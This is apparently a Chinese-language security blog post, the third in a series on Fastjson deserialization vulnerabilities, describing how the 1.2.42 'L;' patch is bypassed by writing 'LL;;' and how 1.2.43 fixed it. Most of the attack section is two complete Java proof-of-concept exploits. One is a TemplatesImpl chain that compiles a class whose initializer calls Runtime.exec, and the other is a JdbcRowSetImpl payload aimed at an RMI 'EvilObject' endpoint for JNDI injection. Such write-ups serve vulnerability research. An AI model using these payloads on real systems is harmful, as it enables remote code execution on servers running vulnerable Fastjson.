0%

FastJson反序列化回顾系列(三)

上一个回顾中指出了利用L;来进行绕过。而这次的漏洞是由于上次漏洞的补丁打得太过简单导致可以通过双写LL;;来绕过。这一篇文章讲述的就是这一方式。

整个复现系列的payload放在了github上。

漏洞信息

影响版本

  • fastjson = 1.2.42

利用条件

  • 打开autotype

漏洞分析

从上次的补丁可以得知以下两点:

  • 将黑名单变成了hashcode,不好得知具体的类
  • 将checkAutoType增加了对于L;这种情况的处理

定位到checkAutoType函数。

它仅仅是判断了是否以L开头且以;结尾,如果是这样,就去掉开头的L和结尾的;。很明显可通过双写绕过。

比较不容易的是对于hashcode这样形式的黑名单,不容易知道真正的黑名单类。

可通过爬取Maven仓库下所有类,然后跑一遍,输出黑名单类。

EXP构造

TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

import java.io.*;

//@dependency{fastjson:1.2.42}
public class templatesimpl3 {
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}


public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
}

public static void main(String[] args) throws Exception{

String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(StubTransletPayload.class.getName());

clazz.makeClassInitializer().insertAfter(cmd);
CtClass superC = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);

byte[] classBytes = clazz.toBytecode();

String bytes1 = Base64.encodeBase64String(classBytes);
String NASTY_CLASS = "LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+bytes1+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";

ParserConfig config = new ParserConfig();
config.getGlobalInstance().setAutoTypeSupport(true);
Object res = JSON.parse(text1, Feature.SupportNonPublicField);


}
}

JdbcRowSetImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

//@dependency{fastjson:1.2.42}
public class jdbcrowsetimpl3 {
public static void main(String args[]) {
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/EvilObject\",\"autoCommit\":true}";
ParserConfig config = new ParserConfig();
config.getGlobalInstance().setAutoTypeSupport(true);
Object res = JSON.parse(payload);

}
}

补丁

在1.2.43版本中的补丁中对以LL开头且以;;结尾的情况进行了防御。

抛出异常,然后去除开头的L和结尾的;

参考